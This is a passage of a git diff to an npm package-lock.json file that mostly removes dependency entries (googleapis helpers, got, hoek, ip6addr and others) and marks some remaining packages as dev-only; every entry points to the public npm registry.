"https://registry.npmjs.org/agent-base/-/agent-base-4.3.0.tgz", +- "integrity": "sha512-salcGninV0nPrwpGNn4VTXBb1SOuXQBiqbrNXoeizJsHrsL6ERFM2Ne3JUSBWRE6aeNJI2ROP/WEEIDUiDe3cg==", +- "dependencies": { +- "es6-promisify": "^5.0.0" +- }, +- "engines": { +- "node": ">= 4.0.0" +- } +- }, +- "node_modules/googleapis-common/node_modules/debug": { +- "version": "3.2.7", +- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", +- "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", +- "dependencies": { +- "ms": "^2.1.1" +- } +- }, +- "node_modules/googleapis-common/node_modules/gaxios": { +- "version": "1.8.4", +- "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-1.8.4.tgz", +- "integrity": "sha512-BoENMnu1Gav18HcpV9IleMPZ9exM+AvUjrAOV4Mzs/vfz2Lu/ABv451iEXByKiMPn2M140uul1txXCg83sAENw==", +- "dependencies": { +- "abort-controller": "^3.0.0", +- "extend": "^3.0.2", +- "https-proxy-agent": "^2.2.1", +- "node-fetch": "^2.3.0" +- } +- }, +- "node_modules/googleapis-common/node_modules/gcp-metadata": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-1.0.0.tgz", +- "integrity": "sha512-Q6HrgfrCQeEircnNP3rCcEgiDv7eF9+1B+1MMgpE190+/+0mjQR8PxeOaRgxZWmdDAF9EIryHB9g1moPiw1SbQ==", +- "dependencies": { +- "gaxios": "^1.0.2", +- "json-bigint": "^0.3.0" +- }, +- "engines": { +- "node": ">=6" +- } +- }, +- "node_modules/googleapis-common/node_modules/google-auth-library": { +- "version": "3.1.2", +- "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-3.1.2.tgz", +- "integrity": "sha512-cDQMzTotwyWMrg5jRO7q0A4TL/3GWBgO7I7q5xGKNiiFf9SmGY/OJ1YsLMgI2MVHHsEGyrqYnbnmV1AE+Z6DnQ==", +- "dependencies": { +- "base64-js": "^1.3.0", +- "fast-text-encoding": "^1.0.0", +- "gaxios": "^1.2.1", +- "gcp-metadata": "^1.0.0", +- "gtoken": "^2.3.2", +- "https-proxy-agent": "^2.2.1", +- "jws": "^3.1.5", +- "lru-cache": "^5.0.0", +- "semver": "^5.5.0" +- }, +- "engines": { +- "node": ">=6" +- } +- }, +- "node_modules/googleapis-common/node_modules/google-p12-pem": { +- "version": "1.0.5", +- "resolved": "https://registry.npmjs.org/google-p12-pem/-/google-p12-pem-1.0.5.tgz", +- "integrity": "sha512-50rTrqYPTPPwlu9TNl/HkJbBENEpbRzTOVLFJ4YWM86njZgXHFy+FP+tLRSd9m132Li9Dqi27Z3KIWDEv5y+EA==", +- "dependencies": { +- "node-forge": "^0.10.0", +- "pify": "^4.0.0" +- }, +- "bin": { +- "gp12-pem": "build/src/bin/gp12-pem.js" +- } +- }, +- "node_modules/googleapis-common/node_modules/gtoken": { +- "version": "2.3.3", +- "resolved": "https://registry.npmjs.org/gtoken/-/gtoken-2.3.3.tgz", +- "integrity": "sha512-EaB49bu/TCoNeQjhCYKI/CurooBKkGxIqFHsWABW0b25fobBYVTMe84A8EBVVZhl8emiUdNypil9huMOTmyAnw==", +- "dependencies": { +- "gaxios": "^1.0.4", +- "google-p12-pem": "^1.0.0", +- "jws": "^3.1.5", +- "mime": "^2.2.0", +- "pify": "^4.0.0" +- }, +- "engines": { +- "node": ">=6.0.0" +- } +- }, +- "node_modules/googleapis-common/node_modules/https-proxy-agent": { +- "version": "2.2.4", +- "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-2.2.4.tgz", +- "integrity": "sha512-OmvfoQ53WLjtA9HeYP9RNrWMJzzAz1JGaSFr1nijg0PVR1JaD/xbJq1mdEIIlxGpXp9eSe/O2LgU9DJmTPd0Eg==", +- "dependencies": { +- "agent-base": "^4.3.0", +- "debug": "^3.1.0" +- }, +- "engines": { +- "node": ">= 4.5.0" +- } +- }, +- "node_modules/googleapis-common/node_modules/json-bigint": { +- "version": "0.3.1", +- "resolved": "https://registry.npmjs.org/json-bigint/-/json-bigint-0.3.1.tgz", +- "integrity": "sha512-DGWnSzmusIreWlEupsUelHrhwmPPE+FiQvg+drKfk2p+bdEYa5mp4PJ8JsCWqae0M2jQNb0HPvnwvf1qOTThzQ==", +- "dependencies": { +- "bignumber.js": "^9.0.0" +- } +- }, +- "node_modules/googleapis-common/node_modules/jwa": { +- "version": "1.4.1", +- "resolved": "https://registry.npmjs.org/jwa/-/jwa-1.4.1.tgz", +- "integrity": "sha512-qiLX/xhEEFKUAJ6FiBMbes3w9ATzyk5W7Hvzpa/SLYdxNtng+gcurvrI7TbACjIXlsJyr05/S1oUhZrc63evQA==", +- "dependencies": { +- "buffer-equal-constant-time": "1.0.1", +- "ecdsa-sig-formatter": "1.0.11", +- "safe-buffer": "^5.0.1" +- } +- }, +- "node_modules/googleapis-common/node_modules/jws": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/jws/-/jws-3.2.2.tgz", +- "integrity": "sha512-YHlZCB6lMTllWDtSPHz/ZXTsi8S00usEV6v1tjq8tOUZzw7DpSDWVXjXDre6ed1w/pd495ODpHZYSdkRTsa0HA==", +- "dependencies": { +- "jwa": "^1.4.1", +- "safe-buffer": "^5.0.1" +- } +- }, +- "node_modules/googleapis-common/node_modules/node-forge": { +- "version": "0.10.0", +- "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.10.0.tgz", +- "integrity": "sha512-PPmu8eEeG9saEUvI97fm4OYxXVB6bFvyNTyiUOBichBpFG8A1Ljw3bY62+5oOjDEMHRnd0Y7HQ+x7uzxOzC6JA==", +- "engines": { +- "node": ">= 6.0.0" +- } +- }, +- "node_modules/googleapis-common/node_modules/pify": { +- "version": "4.0.1", +- "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", +- "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", +- "engines": { +- "node": ">=6" +- } +- }, +- "node_modules/googleapis-common/node_modules/semver": { +- "version": "5.7.1", +- "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", +- "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", +- "bin": { +- "semver": "bin/semver" +- } +- }, +- "node_modules/googleapis/node_modules/agent-base": { +- "version": "4.3.0", +- "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-4.3.0.tgz", +- "integrity": "sha512-salcGninV0nPrwpGNn4VTXBb1SOuXQBiqbrNXoeizJsHrsL6ERFM2Ne3JUSBWRE6aeNJI2ROP/WEEIDUiDe3cg==", +- "dependencies": { +- "es6-promisify": "^5.0.0" +- }, +- "engines": { +- "node": ">= 4.0.0" +- } +- }, +- "node_modules/googleapis/node_modules/debug": { +- "version": "3.2.7", +- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", +- "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", +- "dependencies": { +- "ms": "^2.1.1" +- } +- }, +- "node_modules/googleapis/node_modules/gaxios": { +- "version": "1.8.4", +- "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-1.8.4.tgz", +- "integrity": "sha512-BoENMnu1Gav18HcpV9IleMPZ9exM+AvUjrAOV4Mzs/vfz2Lu/ABv451iEXByKiMPn2M140uul1txXCg83sAENw==", +- "dependencies": { +- "abort-controller": "^3.0.0", +- "extend": "^3.0.2", +- "https-proxy-agent": "^2.2.1", +- "node-fetch": "^2.3.0" +- } +- }, +- "node_modules/googleapis/node_modules/gcp-metadata": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-1.0.0.tgz", +- "integrity": "sha512-Q6HrgfrCQeEircnNP3rCcEgiDv7eF9+1B+1MMgpE190+/+0mjQR8PxeOaRgxZWmdDAF9EIryHB9g1moPiw1SbQ==", +- "dependencies": { +- "gaxios": "^1.0.2", +- "json-bigint": "^0.3.0" +- }, +- "engines": { +- "node": ">=6" +- } +- }, +- "node_modules/googleapis/node_modules/google-auth-library": { +- "version": "3.1.2", +- "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-3.1.2.tgz", +- "integrity": "sha512-cDQMzTotwyWMrg5jRO7q0A4TL/3GWBgO7I7q5xGKNiiFf9SmGY/OJ1YsLMgI2MVHHsEGyrqYnbnmV1AE+Z6DnQ==", +- "dependencies": { +- "base64-js": "^1.3.0", +- "fast-text-encoding": "^1.0.0", +- "gaxios": "^1.2.1", +- "gcp-metadata": "^1.0.0", +- "gtoken": "^2.3.2", +- "https-proxy-agent": "^2.2.1", +- "jws": "^3.1.5", +- "lru-cache": "^5.0.0", +- "semver": "^5.5.0" +- }, +- "engines": { +- "node": ">=6" +- } +- }, +- "node_modules/googleapis/node_modules/google-p12-pem": { +- "version": "1.0.5", +- "resolved": "https://registry.npmjs.org/google-p12-pem/-/google-p12-pem-1.0.5.tgz", +- "integrity": "sha512-50rTrqYPTPPwlu9TNl/HkJbBENEpbRzTOVLFJ4YWM86njZgXHFy+FP+tLRSd9m132Li9Dqi27Z3KIWDEv5y+EA==", +- "dependencies": { +- "node-forge": "^0.10.0", +- "pify": "^4.0.0" +- }, +- "bin": { +- "gp12-pem": "build/src/bin/gp12-pem.js" +- } +- }, +- "node_modules/googleapis/node_modules/gtoken": { +- "version": "2.3.3", +- "resolved": "https://registry.npmjs.org/gtoken/-/gtoken-2.3.3.tgz", +- "integrity": "sha512-EaB49bu/TCoNeQjhCYKI/CurooBKkGxIqFHsWABW0b25fobBYVTMe84A8EBVVZhl8emiUdNypil9huMOTmyAnw==", +- "dependencies": { +- "gaxios": "^1.0.4", +- "google-p12-pem": "^1.0.0", +- "jws": "^3.1.5", +- "mime": "^2.2.0", +- "pify": "^4.0.0" +- }, +- "engines": { +- "node": ">=6.0.0" +- } +- }, +- "node_modules/googleapis/node_modules/https-proxy-agent": { +- "version": "2.2.4", +- "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-2.2.4.tgz", +- "integrity": "sha512-OmvfoQ53WLjtA9HeYP9RNrWMJzzAz1JGaSFr1nijg0PVR1JaD/xbJq1mdEIIlxGpXp9eSe/O2LgU9DJmTPd0Eg==", +- "dependencies": { +- "agent-base": "^4.3.0", +- "debug": "^3.1.0" +- }, +- "engines": { +- "node": ">= 4.5.0" +- } +- }, +- "node_modules/googleapis/node_modules/json-bigint": { +- "version": "0.3.1", +- "resolved": "https://registry.npmjs.org/json-bigint/-/json-bigint-0.3.1.tgz", +- "integrity": "sha512-DGWnSzmusIreWlEupsUelHrhwmPPE+FiQvg+drKfk2p+bdEYa5mp4PJ8JsCWqae0M2jQNb0HPvnwvf1qOTThzQ==", +- "dependencies": { +- "bignumber.js": "^9.0.0" +- } +- }, +- "node_modules/googleapis/node_modules/jwa": { +- "version": "1.4.1", +- "resolved": "https://registry.npmjs.org/jwa/-/jwa-1.4.1.tgz", +- "integrity": "sha512-qiLX/xhEEFKUAJ6FiBMbes3w9ATzyk5W7Hvzpa/SLYdxNtng+gcurvrI7TbACjIXlsJyr05/S1oUhZrc63evQA==", +- "dependencies": { +- "buffer-equal-constant-time": "1.0.1", +- "ecdsa-sig-formatter": "1.0.11", +- "safe-buffer": "^5.0.1" +- } +- }, +- "node_modules/googleapis/node_modules/jws": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/jws/-/jws-3.2.2.tgz", +- "integrity": "sha512-YHlZCB6lMTllWDtSPHz/ZXTsi8S00usEV6v1tjq8tOUZzw7DpSDWVXjXDre6ed1w/pd495ODpHZYSdkRTsa0HA==", +- "dependencies": { +- "jwa": "^1.4.1", +- "safe-buffer": "^5.0.1" +- } +- }, +- "node_modules/googleapis/node_modules/node-forge": { +- "version": "0.10.0", +- "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.10.0.tgz", +- "integrity": "sha512-PPmu8eEeG9saEUvI97fm4OYxXVB6bFvyNTyiUOBichBpFG8A1Ljw3bY62+5oOjDEMHRnd0Y7HQ+x7uzxOzC6JA==", +- "engines": { +- "node": ">= 6.0.0" +- } +- }, +- "node_modules/googleapis/node_modules/pify": { +- "version": "4.0.1", +- "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", +- "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", +- "engines": { +- "node": ">=6" +- } +- }, +- "node_modules/googleapis/node_modules/semver": { +- "version": "5.7.1", +- "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", +- "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", +- "bin": { +- "semver": "bin/semver" +- } +- }, +- "node_modules/got": { +- "version": "9.6.0", +- "resolved": "https://registry.npmjs.org/got/-/got-9.6.0.tgz", +- "integrity": "sha512-R7eWptXuGYxwijs0eV+v3o6+XH1IqVK8dJOEecQfTmkncw9AV4dcw/Dhxi8MdlqPthxxpZyizMzyg8RTmEsG+Q==", +- "dependencies": { +- "@sindresorhus/is": "^0.14.0", +- "@szmarczak/http-timer": "^1.1.2", +- "cacheable-request": "^6.0.0", +- "decompress-response": "^3.3.0", +- "duplexer3": "^0.1.4", +- "get-stream": "^4.1.0", +- "lowercase-keys": "^1.0.1", +- "mimic-response": "^1.0.1", +- "p-cancelable": "^1.0.0", +- "to-readable-stream": "^1.0.0", +- "url-parse-lax": "^3.0.0" +- }, +- "engines": { +- "node": ">=8.6" +- } +- }, + "node_modules/graceful-fs": { + "version": "4.2.9", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.9.tgz", + "integrity": "sha512-NtNxqUcXgpW2iMrfqSfR73Glt39K+BLwWsPs94yR63v45T0Wbej7eRmL5cWfwEgqXnmjQp3zaJTshdRW/qC2ZQ==" + }, +- "node_modules/graphlib": { +- "version": "2.1.8", +- "resolved": "https://registry.npmjs.org/graphlib/-/graphlib-2.1.8.tgz", +- "integrity": "sha512-jcLLfkpoVGmH7/InMC/1hIvOPSUh38oJtGhvrOFGzioE1DZ+0YW16RgmOJhHiuWTvGiJQ9Z1Ik43JvkRPRvE+A==", +- "dependencies": { +- "lodash": "^4.17.15" +- } +- }, + "node_modules/gray-matter": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/gray-matter/-/gray-matter-2.1.1.tgz", +@@ -16079,64 +13283,6 @@ + "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz", + "integrity": "sha1-4Ob+aijPUROIVeCG0Wkedx3iqLk=" + }, +- "node_modules/has-value": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/has-value/-/has-value-1.0.0.tgz", +- "integrity": "sha1-GLKB2lhbHFxR3vJMkw7SmgvmsXc=", +- "dependencies": { +- "get-value": "^2.0.6", +- "has-values": "^1.0.0", +- "isobject": "^3.0.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/has-values": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/has-values/-/has-values-1.0.0.tgz", +- "integrity": "sha1-lbC2P+whRmGab+V/51Yo1aOe/k8=", +- "dependencies": { +- "is-number": "^3.0.0", +- "kind-of": "^4.0.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/has-values/node_modules/is-number": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", +- "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", +- "dependencies": { +- "kind-of": "^3.0.2" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/has-values/node_modules/is-number/node_modules/kind-of": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", +- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", +- "dependencies": { +- "is-buffer": "^1.1.5" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/has-values/node_modules/kind-of": { +- "version": "4.0.0", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-4.0.0.tgz", +- "integrity": "sha1-IIE989cSkosgc3hpGkUGb65y3Vc=", +- "dependencies": { +- "is-buffer": "^1.1.5" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/hash-stream-validation": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/hash-stream-validation/-/hash-stream-validation-0.2.4.tgz", +@@ -16250,15 +13396,6 @@ + "node": ">=4.0.0" + } + }, +- "node_modules/hoek": { +- "version": "5.0.4", +- "resolved": "https://registry.npmjs.org/hoek/-/hoek-5.0.4.tgz", +- "integrity": "sha512-Alr4ZQgoMlnere5FZJsIyfIjORBqZll5POhDsF4q64dPuJR6rNxXdDxtHSQq8OXRurhmx+PWYEE8bXRROY8h0w==", +- "deprecated": "This version has been deprecated in accordance with the hapi support policy (hapi.im/support). Please upgrade to the latest version to get the best features, bug fixes, and security patches. If you are unable to upgrade at this time, paid support is available for older versions (hapi.im/commercial).", +- "engines": { +- "node": ">=8.9.0" +- } +- }, + "node_modules/hoist-non-react-statics": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-3.3.2.tgz", +@@ -16272,17 +13409,6 @@ + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" + }, +- "node_modules/homedir-polyfill": { +- "version": "1.0.3", +- "resolved": "https://registry.npmjs.org/homedir-polyfill/-/homedir-polyfill-1.0.3.tgz", +- "integrity": "sha512-eSmmWE5bZTK2Nou4g0AI3zZ9rswp7GRKoKXS1BLUkvPviOqs4YTN1djQIqrXy9k5gEtdLPy86JjRwsNM9tnDcA==", +- "dependencies": { +- "parse-passwd": "^1.0.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/hpack.js": { + "version": "2.1.6", + "resolved": "https://registry.npmjs.org/hpack.js/-/hpack.js-2.1.6.tgz", +@@ -16459,11 +13585,6 @@ + "entities": "^2.0.0" + } + }, +- "node_modules/http-cache-semantics": { +- "version": "4.1.0", +- "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.0.tgz", +- "integrity": "sha512-carPklcUh7ROWRK7Cv27RPtdhYhUsela/ue5/jKzjegVvXDqM2ILE9Q2BGn9JZJh1g87cp56su/FgQSzcWS8cQ==" +- }, + "node_modules/http-deceiver": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/http-deceiver/-/http-deceiver-1.2.7.tgz", +@@ -16515,19 +13636,6 @@ + "node": ">=8.0.0" + } + }, +- "node_modules/http-proxy-agent": { +- "version": "4.0.1", +- "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz", +- "integrity": "sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==", +- "dependencies": { +- "@tootallnate/once": "1", +- "agent-base": "6", +- "debug": "4" +- }, +- "engines": { +- "node": ">= 6" +- } +- }, + "node_modules/http-proxy-middleware": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-2.0.4.tgz", +@@ -16586,14 +13694,6 @@ + "node": ">=0.8" + } + }, +- "node_modules/http-status": { +- "version": "1.5.0", +- "resolved": "https://registry.npmjs.org/http-status/-/http-status-1.5.0.tgz", +- "integrity": "sha512-wcGvY31MpFNHIkUcXHHnvrE4IKYlpvitJw5P/1u892gMBAM46muQ+RH7UN1d+Ntnfx5apnOnVY6vcLmrWHOLwg==", +- "engines": { +- "node": ">= 0.4.0" +- } +- }, + "node_modules/https-proxy-agent": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.0.tgz", +@@ -16853,14 +13953,6 @@ + "node": ">=8" + } + }, +- "node_modules/inflection": { +- "version": "1.12.0", +- "resolved": "https://registry.npmjs.org/inflection/-/inflection-1.12.0.tgz", +- "integrity": "sha1-ogCTVlbW9fa8TcdQLhrstwMihBY=", +- "engines": [ +- "node >= 0.4.0" +- ] +- }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", +@@ -16875,19 +13967,6 @@ + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + }, +- "node_modules/ini": { +- "version": "1.3.8", +- "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", +- "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==" +- }, +- "node_modules/install": { +- "version": "0.13.0", +- "resolved": "https://registry.npmjs.org/install/-/install-0.13.0.tgz", +- "integrity": "sha512-zDml/jzr2PKU9I8J/xyZBQn8rPCAY//UOYNmR01XwNwyfhEWObo2SWfSl1+0tm1u6PhxLwDnfsT/6jB7OUxqFA==", +- "engines": { +- "node": ">= 0.10" +- } +- }, + "node_modules/internal-slot": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.3.tgz", +@@ -16905,6 +13984,7 @@ + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/interpret/-/interpret-2.2.0.tgz", + "integrity": "sha512-Ju0Bz/cEia55xDwUWEa8+olFpCiQoypjnQySseKtmjNrnps3P+xfpUmGr90T7yjlVJmOtybRvPXhKMbHr+fWnw==", ++ "dev": true, + "engines": { + "node": ">= 0.10" + } +@@ -16956,46 +14036,6 @@ + "integrity": "sha1-vd7XARQpCCjAoDnnLvJfWq7ENUo=", + "devOptional": true + }, +- "node_modules/ip-regex": { +- "version": "2.1.0", +- "resolved": "https://registry.npmjs.org/ip-regex/-/ip-regex-2.1.0.tgz", +- "integrity": "sha1-+ni/XS5pE8kRzp+BnuUUa7bYROk=", +- "dev": true, +- "engines": { +- "node": ">=4" +- } +- }, +- "node_modules/ip6addr": { +- "version": "0.2.5", +- "resolved": "https://registry.npmjs.org/ip6addr/-/ip6addr-0.2.5.tgz", +- "integrity": "sha512-9RGGSB6Zc9Ox5DpDGFnJdIeF0AsqXzdH+FspCfPPaU/L/4tI6P+5lIoFUFm9JXs9IrJv1boqAaNCQmoDADTSKQ==", +- "dependencies": { +- "assert-plus": "^1.0.0", +- "jsprim": "^2.0.2" +- } +- }, +- "node_modules/ip6addr/node_modules/assert-plus": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", +- "integrity": "sha512-NfJ4UzBCcQGLDlQq7nHxH+tv3kyZ0hHQqF5BO6J7tNJeP5do1llPr8dZ8zHonfhAu0PHAdMkSo+8o0wxg9lZWw==", +- "engines": { +- "node": ">=0.8" +- } +- }, +- "node_modules/ip6addr/node_modules/jsprim": { +- "version": "2.0.2", +- "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-2.0.2.tgz", +- "integrity": "sha512-gqXddjPqQ6G40VdnI6T6yObEC+pDNvyP95wdQhkWkg7crHH3km5qP1FsOXEkzEQwnz6gz5qGTn1c2Y52wP3OyQ==", +- "engines": [ +- "node >=0.6.0" +- ], +- "dependencies": { +- "assert-plus": "1.0.0", +- "extsprintf": "1.3.0", +- "json-schema": "0.4.0", +- "verror": "1.10.0" +- } +- }, + "node_modules/ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", +@@ -17016,6 +14056,7 @@ + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-absolute/-/is-absolute-1.0.0.tgz", + "integrity": "sha512-dOWoqflvcydARa360Gvv18DZ/gRuHKi2NU/wU5X1ZFzdYfH29nkiNZsF3mp4OJ3H4yo9Mx8A/uAGNzpzPN3yBA==", ++ "dev": true, + "dependencies": { + "is-relative": "^1.0.0", + "is-windows": "^1.0.1" +@@ -17032,17 +14073,6 @@ + "node": ">=8" + } + }, +- "node_modules/is-accessor-descriptor": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", +- "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", +- "dependencies": { +- "kind-of": "^6.0.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/is-arguments": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-arguments/-/is-arguments-1.1.1.tgz", +@@ -17088,14 +14118,6 @@ + "node": ">=8" + } + }, +- "node_modules/is-bluebird": { +- "version": "1.0.2", +- "resolved": "https://registry.npmjs.org/is-bluebird/-/is-bluebird-1.0.2.tgz", +- "integrity": "sha1-CWQ5Bg9KpBGr7hkUOoTWpVNG1uI=", +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/is-boolean-object": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.1.2.tgz", +@@ -17149,17 +14171,6 @@ + "url": "https://github.com/sponsors/ljharb" + } + }, +- "node_modules/is-data-descriptor": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", +- "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", +- "dependencies": { +- "kind-of": "^6.0.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/is-date-object": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.5.tgz", +@@ -17174,19 +14185,6 @@ + "url": "https://github.com/sponsors/ljharb" + } + }, +- "node_modules/is-descriptor": { +- "version": "1.0.2", +- "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", +- "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", +- "dependencies": { +- "is-accessor-descriptor": "^1.0.0", +- "is-data-descriptor": "^1.0.0", +- "kind-of": "^6.0.2" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/is-docker": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.2.1.tgz", +@@ -17214,6 +14212,7 @@ + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz", + "integrity": "sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik=", ++ "dev": true, + "engines": { + "node": ">=0.10.0" + } +@@ -17222,6 +14221,7 @@ + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", ++ "devOptional": true, + "engines": { + "node": ">=0.10.0" + } +@@ -17243,6 +14243,7 @@ + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", ++ "devOptional": true, + "dependencies": { + "is-extglob": "^2.1.1" + }, +@@ -17266,18 +14267,6 @@ + "url": "https://github.com/sponsors/sindresorhus" + } + }, +- "node_modules/is-ip": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/is-ip/-/is-ip-2.0.0.tgz", +- "integrity": "sha1-aO6gfooKCpTC0IDdZ0xzGrKkYas=", +- "dev": true, +- "dependencies": { +- "ip-regex": "^2.0.0" +- }, +- "engines": { +- "node": ">=4" +- } +- }, + "node_modules/is-nan": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/is-nan/-/is-nan-1.3.2.tgz", +@@ -17381,6 +14370,7 @@ + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz", + "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==", ++ "dev": true, + "dependencies": { + "isobject": "^3.0.1" + }, +@@ 